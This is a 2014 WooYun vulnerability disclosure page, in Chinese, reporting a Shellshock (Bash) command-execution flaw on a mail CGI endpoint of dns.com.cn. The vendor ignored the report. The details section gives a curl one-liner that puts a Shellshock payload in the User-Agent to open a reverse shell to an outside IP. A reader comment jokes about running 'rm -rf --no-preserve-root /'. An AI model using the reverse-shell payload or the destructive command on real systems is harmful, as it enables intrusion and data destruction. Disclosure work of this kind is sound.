当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-077436

漏洞标题：dns.com.cn存在BASH漏洞可反弹

相关厂商：北京新网互联科技有限公司

漏洞作者： 路人甲

提交时间：2014-09-26 17:32

修复时间：2014-10-01 17:34

公开时间：2014-10-01 17:34

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-26： 细节已通知厂商并且等待厂商处理中
2014-10-01： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

dns.com.cn存在BASH漏洞可反弹

详细说明：

dns.com.cn存在BASH漏洞可反弹

curl  -A "() { :; }; /bin/bash -i > /dev/tcp/128.199.213.124/2345 0<&1 2>&1" https://mailmx.dns.com.cn/cgi-bin/madmin.cgi -v

漏洞证明：

https://mailmx.dns.com.cn/cgi-bin/madmin.cgi/sa?locale=ja_JP.utf-8L4_2

QQ图片20140926161440dns-a.jpg

修复方案：

更新官方补丁。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-10-01 17:34

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-09-26 17:36 | 紫衣大侠 ( 普通白帽子 | Rank:201 漏洞数:21 | 愿结天下有识之士)

    啧啧，这是刷起来的节奏么？

  2. 2014-09-26 17:46 | 进化程序猿 ( 实习白帽子 | Rank:38 漏洞数:2 | su -)

    bash，redhat最新升级的bash 能完全屏蔽php－fpm带来的的影响吗？

  3. 2014-09-26 17:47 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫，我笑世人看不穿~)

    make

  4. 2014-09-26 18:30 | 熊大 ( 路人 | Rank:18 漏洞数:5 | 呼叫雄二)

    love

  5. 2014-09-26 20:30 | 花花酱 ( 实习白帽子 | Rank:53 漏洞数:6 | 花花酱)

    主站？这么吊

  6. 2014-09-26 23:05 | Herolon ( 普通白帽子 | Rank:185 漏洞数:42 | ******)

    开始刷分的节奏，struct2,heardbeat,bash代码执行

  7. 2014-10-02 01:21 | Coffee ( 普通白帽子 | Rank:144 漏洞数:15 | Corie, a student of RDFZ.)

    厂商忽略，公开了，学习。

  8. 2014-10-02 06:32 | TYPCN ( 路人 | Rank:0 漏洞数:2 | TYPCN)

    无影响厂商忽略，要不要来个 rm -rf --no-preserve-root /